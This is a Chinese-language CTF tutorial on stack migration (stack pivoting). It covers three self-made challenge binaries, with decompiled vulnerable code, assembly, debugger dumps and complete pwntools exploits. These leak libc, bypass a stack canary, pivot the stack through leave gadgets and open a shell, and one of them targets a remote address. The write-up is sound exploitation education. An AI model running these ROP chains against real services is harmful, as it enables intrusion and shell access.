一篇文章玩明白Stack-migration

fans news 發佈 2021-12-22T11:33:43+00:00

前置知識Intel彙編,棧溢出利用,基礎rop鏈Stack_migration介紹當我們發現存在棧溢出漏洞,但是溢出字節非常小,比如0x10的時候我們就需要利用棧遷移,將棧遷移置足夠大的區段去編寫rop鏈以達到我們利用的目的。為了方便教學,這裡以CTF賽題的形式進行教學。

前置知識

Intel彙編,棧溢出利用,基礎rop鏈

Stack_migration介紹

當我們發現存在棧溢出漏洞,但是溢出字節非常小,比如0x10的時候我們就需要利用棧遷移,將棧遷移置足夠大的區段去編寫rop鏈

以達到我們利用的目的。為了方便教學,這裡以CTF賽題的形式進行教學。

典例一 題目給出便於利用的bss段地址或棧地址

這裡我用我出給自己校賽的一道題作為講解,給出了棧的地址

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char buf[208]; // [rsp+0h] [rbp-D0h] BYREF

 puts(&s);
 puts(
   "系統說罷,便將你渡入一方天地之中,只見天地之間一輪金日懸於九天之上,而在你面前是萬里群山。\n");
 puts(
   "鈍日斬星劍就在這些山里,自己慢慢找吧,不過本系統可不想等太久,這個明神瞳就送你了!\n");
 printf("小子拿好了 :%p", buf);
 puts(&byte_400818);
 read(0, buf, 0xE0uLL);
 return puts("神兵已得,接下來,就去手刃你的第一個仇人吧,萬陽帝仙!\n");
}

這裡是剛好溢出了0x10,並且給出了當前變量所處的棧地址,對於這種題目,都是直接套路殺的,而且這題沒有開啟canary和pie

我們只需要和往常一樣先編寫好rop鏈,再利用leave命令把棧遷移到到所給的bss段或者棧地址上

payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)

第一次是泄露libc,第二次就是直接getshell

exp

# -*- coding: UTF-8 –*-
from pwn import *
r=process('./1')
ELF=ELF('./1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#context.log_level='debug'
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
pop_rdi=0x0000000000400663
leave=0x4005F8
main=0x0400577
ret=0x000000000040044e
r.recvuntil('小子拿好了 :')
leak=int(r.recv(14),16)
log.success('leak:'+hex(leak))
​
payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)
​
r.recvuntil("搬山之術?\n")
r.send(payload)
r.recvuntil('神兵已得,接下來,就去手刃你的第一個仇人吧,萬陽帝仙!\n')
(r.recvuntil('\n'))
leak1=u64(r.recv(6).ljust(8,'\x00'))
​
log.success('leak1:'+hex(leak1))
​
base=leak1-0x080aa0
onegadget=[0x4f3d5,0x4f432,0x10a41c]
sys=base+0x04f550
one=onegadget[2]+base
sh=0x1b3e1a+base
r.recvuntil('小子拿好了 :')
leak2=int(r.recv(14),16)
log.success('leak2:'+hex(leak2))
​
payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)
#payload1='a'*8+p64(one)
payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave)
​
r.send(payload1)
​
r.interactive()

典例二 題目開啟了canary並且沒有給定合理的地址

對於這種題目實際上只是遷移的地點要自己進行gdb調試(摁調)還有就是leave指令稍微加了點細節從read函數那下手

本質是和典例一沒差別的,都是屬於棧遷移。這裡用一道自己寫的demo作為教學

int __cdecl main(int argc, const char **argv, const char **envp)
{
 int i; // [rsp+Ch] [rbp-24h]
 char v6[24]; // [rsp+10h] [rbp-20h] BYREF
 unsigned __int64 v7; // [rsp+28h] [rbp-8h]
​
 v7 = __readfsqword(0x28u);
 init(argc, argv, envp);
 for ( i = 0; i <= 24; ++i )
{
   if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 )
  {
     v6[i] = 0;
     break;
  }
}
 printf("your in put%s\n", v6);
 puts("give me another worlds!");
 pwnme();
 return __readfsqword(0x28u) ^ v7;
}

在printf("your in put%s\n", v6);這可以泄露canary,我們接著去看pwnme函數

unsigned __int64 pwnme()
{
 char buf[24]; // [rsp+0h] [rbp-20h] BYREF
 unsigned __int64 v2; // [rsp+18h] [rbp-8h]
​
 v2 = __readfsqword(0x28u);
 read(0, buf, 0x30uLL);
 return __readfsqword(0x28u) ^ v2;
}

同樣溢出0x10,但是這次沒有給定便於利用的題目,所以我們直接自己手動尋找,用ida ctrl+s 尋找到bss段的起始地址

一般利用地址都是大於bss起始地址最少0x300,具體如何要看自己的題目情況去調試

這裡最主要的一點是接下來要講的關於read函數的部分彙編利用

.text:00000000004006FE                 lea     rax, [rbp+buf]
.text:0000000000400702                 mov     edx, 30h ; '0' ; nbytes
.text:0000000000400707                 mov     rsi, rax       ; buf
.text:000000000040070A                 mov     edi, 0         ; fd
.text:000000000040070F                 mov     eax, 0
.text:0000000000400714                 call    _read

正常像典例一我們不去開啟canary,構造一個rop鏈最少都要0x20,這裡開啟了canary而且題目所給的變量長度只有0x20,可讀入0x30

rop鏈構造完canary都不用填返回地址直接寄了,所以這裡的要巧妙利用read的leave。

pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)

第一次先選中心儀的bss段把棧遷移上去,由於我們執行的彙編是在.text:00000000004006FE lea rax, [rbp+buf]

當我們棧遷移完了此時還可以有一次讀入的機會,這時候的讀入地址就是我們選擇的bss段地址。

此時我們就可以寫入rop鏈達到libc泄露的目的

pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)
pl = pl.ljust(24,'\x00')

得到libc之後直接恢復棧

pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)
sleep(0.1)
s(pl)

第一個是rip的地址第二個是用來填充rbp第三個是填充返回地址的,0x6015d8是通過調試之後得知的最後恢復棧的時候

命令的起始地址

pwndbg> stack 30
00:0000│ rsp 0x6015c8 —▸ 0x400719 (pwnme+50) ◂— nop    
01:0008│ rsi 0x6015d0 ◂— 0x0
... ↓        2 skipped
04:0020│     0x6015e8 ◂— 0x27ce95767da5b400
05:0028│ rbp 0x6015f0 ◂— 0x0
06:0030│     0x6015f8 —▸ 0x40083b (main+171) ◂— nop    
07:0038│     0x601600 ◂— 0x0
08:0040│     0x601608 —▸ 0x40083b (main+171) ◂— nop    
09:0048│     0x601610 ◂— 0x27ce95767da5b400
0a:0050│     0x601618 —▸ 0x6015d8 ◂— 0x0
0b:0058│     0x601620 —▸ 0x40072e (pwnme+71) ◂— leave  
0c:0060│     0x601628 ◂— 0x0
... ↓        17 skipped
​

我們可以繼續結合彙編來看

.text:0000000000400831                 mov     eax, 0
.text:0000000000400836                 call    pwnme
.text:000000000040083B                 nop
.text:000000000040083C                 mov     rax, [rbp+var_8]
.text:0000000000400840                 xor     rax, fs:28h
.text:0000000000400849                 jz      short locret_400850
.text:000000000040084B                 call    ___stack_chk_fail

rip執行mov eax, 0返回地址在.text:000000000040083B nop把canary填充做一個修補(第一次泄露的時候已經破壞了)

恢復完棧幀我們利用恢復的時候順帶遷移會去的bss段再去寫入onegadget就直接getshell了

exp

import time
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
​
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
close = lambda : p.close()
debug = lambda : gdb.attach(p)
shell = lambda : p.interactive()
​
p = process('./Stack_migration')
#p=remote('101.43.94.145','28079')
elf = ELF('./Stack_migration')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
reread = 0x4006FE
leave = 0x40072E
bss = 0x601600
rdi = 0x00000000004008c3
start = 0x400600
​
s('a'*25)
ru('a'*25)
canary = u64('\x00'+rx(7))
success(hex(canary))
#p.recv()
pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)
p.recv()
s(pl)
pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)
pl = pl.ljust(24,'\x00')
sleep(0.1)
s(pl)
pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)
sleep(0.1)
s(pl)
base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']
ogg = base+0x4f3d5
​
pl = 'a'*24+p64(canary)+p64(0)+p64(ogg)
s(pl)
# debug()
shell()


典例三 C++類的棧遷移

雖然線上賽不一定見得到,但是線下賽c++的趨勢已經越來越明顯了,不學c++你會失去很多你本該拿到的東西

這個也是我自己整理的一個demo,先看ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
 __int64 v3; // rax
 __int64 v4; // rax
 __int64 v5; // rax
 __int64 v6; // rax
 char s2[32]; // [rsp+0h] [rbp-20h] BYREF
​
 init();
 do
{
   v3 = std::operator<<<std::char_traits<char>>(
          &std::cout,
          "The new year is coming, and the naughty beast has come to the world again. As a brave pwner, please send it home");
   std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
   v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Little ones, throw up your firecrackers!!!!!!!");
   std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
   std::operator>><char,std::char_traits<char>>(&std::cin, name);
   if ( strlen(name) > 0x10 )
  {
     v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_4020B8);
     std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
     exit(0);
  }
   getchar();
   v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you wanna try again?");
   std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
   std::istream::get((std::istream *)&std::cin, s2, 0x30LL);
}
 while ( !strcmp("Y", s2) );
 return 0;
}

不熟悉的人看可能感覺很亂,其實有些東西是可以不看的例如

std::operator<<<std::char_traits<char>>
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);

這些不過是c++自己的一些數據處理,我們要關注的是

std::operator<<<std::char_traits<char>>這個函數裡面的參數,
例如下面這個
std::istream::get((std::istream *)&std::cin, s2, 0x30LL);
cin輸入,往s2輸入0x30大小的內容,類比可以看出輸出的語句

順帶提一嘴,c++的輸入輸出都是靠std::operator<<std::char_traits<char>這個函數實現的,實現內容區別就在於第一個參數

cout就是輸出cin就是輸入,後面的參數再添加對應的就是cout的內容或者cin的內容及大小

OK 我們回歸正題,分析程序可以得知

v5 = std::operator<<std::char_traits<char>(&std::cout, &unk_4020B8);

可能存在棧溢出cin沒有做大小限制,但是他是在往bss段讀入東西,所以沒有溢出的可能性

std::istream::get((std::istream *)&std::cin, s2, 0x30LL);

這裡溢出了0x10,可以棧遷移

那麼結合起來就是先往bss段構造rop,利用棧遷移執行就行了,至於if ( strlen(name) > 0x10 )這個檢測,我們直接填入0位元組就可以繞過

剩餘的操作無非就和典例一是一樣的,這裡注意的是c++的函數參數填充關係即可

pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)

填充0x900的junk code 用來繞過以及填充到合適的地方布局,ret*0x20用來抬棧,這個看情況而定,本題不抬棧會破壞棧結構無法正確的傳入參數,rdi,cout,rsi,setbuf,0,std,main這裡翻譯過來就是如下

std(cout,setbuf.got,0) 返回地址是main。

以上操作泄露了libc直接亂殺了,第二次棧遷移就是直接構造getshell的rop鏈就行了

exp

from pwn import *
#r=process('./boom')
r=remote('47.107.51.210',6790)
context.log_level='debug'
context.arch = 'amd64'
rdi=0x00000000004014c3
rsi=0x00000000004014c1
ret=0x00000000004014c4
main=0x4012DA
std=0x401130
setbuf=0x404018
cout=0x4040C0
bss=0x0404320
leave=0x4013F8
r.recv()
pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)
r.sendline(pay)
r.recv()
pay=flat('\x00'*0x20,bss+0x900,leave)
r.sendline(pay)
r.recvuntil("Do you wanna try again?\n")
libc=u64(r.recv(6)+b'\x00'*2)-0x087e60
sys=libc+0x055410
sh=libc+0x1b75aa
print(hex(libc))
r.recv()
pay=flat('\x00'*0x600,ret*0x20,rdi,sh,ret,sys,main)
r.sendline(pay)
r.recv()
pay=flat('\x00'*0x20,bss+0x600,leave)
r.sendline(pay)
r.interactive()

題目及其exp公眾號後台回復「題目」

關鍵字: